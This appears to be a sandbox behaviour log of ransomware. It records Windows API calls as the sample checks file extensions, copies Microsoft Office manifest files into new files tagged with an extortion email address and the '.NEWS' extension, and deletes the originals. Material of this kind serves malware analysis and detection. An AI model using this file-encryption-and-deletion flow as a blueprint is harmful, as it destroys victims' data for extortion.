[0071.811] lstrlenW (lpString=".pdf") returned 4 [0071.811] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.811] lstrlenW (lpString=".xls") returned 4 [0071.811] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.811] lstrlenW (lpString=".xlsx") returned 5 [0071.811] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.811] lstrlenW (lpString=".ppt") returned 4 [0071.811] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.811] lstrlenW (lpString=".zip") returned 4 [0071.811] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.811] lstrlenW (lpString=".rar") returned 4 [0071.811] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.811] lstrlenW (lpString=".bz2") returned 4 [0071.811] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.811] lstrlenW (lpString=".7z") returned 3 [0071.811] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.811] lstrlenW (lpString=".dbf") returned 4 [0071.811] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.811] lstrlenW (lpString=".1cd") returned 4 [0071.811] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.811] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-0090-0409-1000-0000000FF1CE.xml") returned 104 [0071.811] lstrlenW (lpString=".jpg") returned 4 [0071.811] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.811] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0071.811] lstrlenW (lpString="AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 53 [0071.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.812] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=65002) returned 1 [0071.812] CloseHandle (hObject=0x308) returned 1 [0071.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 0x220 [0071.812] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.812] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.812] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0071.812] GetLastError () returned 0x0 [0071.812] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0xfdea, lpOverlapped=0x0) returned 1 [0071.815] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0xfdf0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0xfdf0, lpOverlapped=0x0) returned 1 [0071.816] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.816] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.816] SetEndOfFile (hFile=0x344) returned 1 [0071.817] CloseHandle (hObject=0x344) returned 1 [0071.818] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.818] SetEndOfFile (hFile=0x308) returned 1 [0071.820] CloseHandle (hObject=0x308) returned 1 [0071.820] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.820] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0000-1000-0000000ff1ce.xml")) returned 1 [0071.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.821] lstrlenW (lpString=".doc") returned 4 [0071.821] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.821] lstrlenW (lpString=".docx") returned 5 [0071.821] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.821] lstrlenW (lpString=".pdf") returned 4 [0071.821] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.821] lstrlenW (lpString=".xls") returned 4 [0071.821] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.821] lstrlenW (lpString=".xlsx") returned 5 [0071.821] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.821] lstrlenW (lpString=".ppt") returned 4 [0071.821] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.821] lstrlenW (lpString=".zip") returned 4 [0071.821] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.821] lstrlenW (lpString=".rar") returned 4 [0071.821] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.821] lstrlenW (lpString=".bz2") returned 4 [0071.821] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.821] lstrlenW (lpString=".7z") returned 3 [0071.821] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.821] lstrlenW (lpString=".dbf") returned 4 [0071.821] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.821] lstrlenW (lpString=".1cd") returned 4 [0071.821] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.821] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.821] lstrlenW (lpString=".jpg") returned 4 [0071.821] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.822] lstrlenW (lpString=".doc") returned 4 [0071.822] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.822] lstrlenW (lpString=".docx") returned 5 [0071.822] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.822] lstrlenW (lpString=".pdf") returned 4 [0071.822] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.822] lstrlenW (lpString=".xls") returned 4 [0071.822] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.822] lstrlenW (lpString=".xlsx") returned 5 [0071.822] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.822] lstrlenW (lpString=".ppt") returned 4 [0071.822] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.822] lstrlenW (lpString=".zip") returned 4 [0071.822] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.822] lstrlenW (lpString=".rar") returned 4 [0071.822] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.822] lstrlenW (lpString=".bz2") returned 4 [0071.822] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.822] lstrlenW (lpString=".7z") returned 3 [0071.822] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.822] lstrlenW (lpString=".dbf") returned 4 [0071.822] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.822] lstrlenW (lpString=".1cd") returned 4 [0071.822] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.822] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0000-1000-0000000FF1CE.xml") returned 104 [0071.822] lstrlenW (lpString=".jpg") returned 4 [0071.822] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.823] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0071.823] lstrlenW (lpString="AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 53 [0071.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.823] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1 [0071.823] CloseHandle (hObject=0x308) returned 1 [0071.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 0x220 [0071.823] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0071.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0071.823] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.823] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.823] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0071.824] GetLastError () returned 0x0 [0071.824] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0071.826] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0071.827] ReadFile (in: hFile=0x308, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.827] WriteFile (in: hFile=0x344, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0071.827] SetEndOfFile (hFile=0x344) returned 1 [0071.827] CloseHandle (hObject=0x344) returned 1 [0071.830] SetFilePointerEx (in: hFile=0x308, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.830] SetEndOfFile (hFile=0x308) returned 1 [0071.831] CloseHandle (hObject=0x308) returned 1 [0071.831] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0071.831] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00a1-0409-1000-0000000ff1ce.xml")) returned 1 [0071.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.832] lstrlenW (lpString=".doc") returned 4 [0071.832] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.832] lstrlenW (lpString=".docx") returned 5 [0071.832] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.832] lstrlenW (lpString=".pdf") returned 4 [0071.832] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.832] lstrlenW (lpString=".xls") returned 4 [0071.832] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.832] lstrlenW (lpString=".xlsx") returned 5 [0071.832] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.832] lstrlenW (lpString=".ppt") returned 4 [0071.832] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.832] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.832] lstrlenW (lpString=".zip") returned 4 [0071.832] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.832] lstrlenW (lpString=".rar") returned 4 [0071.832] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.832] lstrlenW (lpString=".bz2") returned 4 [0071.832] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.832] lstrlenW (lpString=".7z") returned 3 [0071.833] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.833] lstrlenW (lpString=".dbf") returned 4 [0071.833] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.833] lstrlenW (lpString=".1cd") returned 4 [0071.833] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.833] lstrlenW (lpString=".jpg") returned 4 [0071.833] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.833] lstrlenW (lpString=".doc") returned 4 [0071.833] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0071.833] lstrlenW (lpString=".docx") returned 5 [0071.833] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0071.833] lstrlenW (lpString=".pdf") returned 4 [0071.833] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0071.833] lstrlenW (lpString=".xls") returned 4 [0071.833] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0071.833] lstrlenW (lpString=".xlsx") returned 5 [0071.833] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0071.833] lstrlenW (lpString=".ppt") returned 4 [0071.833] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0071.833] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.833] lstrlenW (lpString=".zip") returned 4 [0071.833] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0071.833] lstrlenW (lpString=".rar") returned 4 [0071.834] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0071.834] lstrlenW (lpString=".bz2") returned 4 [0071.834] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0071.834] lstrlenW (lpString=".7z") returned 3 [0071.834] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0071.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.834] lstrlenW (lpString=".dbf") returned 4 [0071.834] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0071.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.834] lstrlenW (lpString=".1cd") returned 4 [0071.834] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0071.834] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00A1-0409-1000-0000000FF1CE.xml") returned 104 [0071.834] lstrlenW (lpString=".jpg") returned 4 [0071.834] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0071.834] lstrcmpiW (lpString1=".xml", lpString2=".NEWS") returned 1 [0071.834] lstrlenW (lpString="AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 53 [0071.834] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0072.625] GetFileSizeEx (in: hFile=0x344, lpFileSize=0x339ff14 | out: lpFileSize=0x339ff14*=1261) returned 1 [0072.625] CloseHandle (hObject=0x344) returned 1 [0072.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 0x220 [0072.626] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0072.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x344 [0072.626] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.626] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.626] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml.id-b4197730.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0072.626] GetLastError () returned 0x0 [0072.626] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x4ed, lpOverlapped=0x0) returned 1 [0072.628] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x4f0, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x4f0, lpOverlapped=0x0) returned 1 [0072.629] ReadFile (in: hFile=0x344, lpBuffer=0x3f5b020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x339fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesRead=0x339fecc*=0x0, lpOverlapped=0x0) returned 1 [0072.629] WriteFile (in: hFile=0x37c, lpBuffer=0x3f5b020*, nNumberOfBytesToWrite=0x13e, lpNumberOfBytesWritten=0x339fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5b020*, lpNumberOfBytesWritten=0x339fc94*=0x13e, lpOverlapped=0x0) returned 1 [0072.629] SetEndOfFile (hFile=0x37c) returned 1 [0072.629] CloseHandle (hObject=0x37c) returned 1 [0072.630] SetFilePointerEx (in: hFile=0x344, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x339fec0 | out: lpNewFilePointer=0x0) returned 1 [0072.630] SetEndOfFile (hFile=0x344) returned 1 [0072.631] CloseHandle (hObject=0x344) returned 1 [0072.631] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml.id-B4197730.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x220) returned 1 [0072.631] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml" (normalized: "c:\\program files\\microsoft office\\packagemanifests\\appxmanifest.90160000-00b4-0409-1000-0000000ff1ce.xml")) returned 1 [0072.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.631] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.631] lstrlenW (lpString=".doc") returned 4 [0072.631] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0072.631] lstrlenW (lpString=".docx") returned 5 [0072.631] lstrcmpiW (lpString1=".docx", lpString2="E.xml") returned -1 [0072.632] lstrlenW (lpString=".pdf") returned 4 [0072.632] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0072.632] lstrlenW (lpString=".xls") returned 4 [0072.632] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0072.632] lstrlenW (lpString=".xlsx") returned 5 [0072.632] lstrcmpiW (lpString1=".xlsx", lpString2="E.xml") returned -1 [0072.632] lstrlenW (lpString=".ppt") returned 4 [0072.632] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0072.632] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\PackageManifests\\AppXManifest.90160000-00B4-0409-1000-0000000FF1CE.xml") returned 104 [0072.632] lstrlenW (lpString=".zip") returned 4 [0072.632] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0072.632] lstrlenW (lpString=".rar") returned 4 [0072.632] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0072.632] lstrlenW (lpString=".bz2") returned 4 [0072.632] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0072.632] 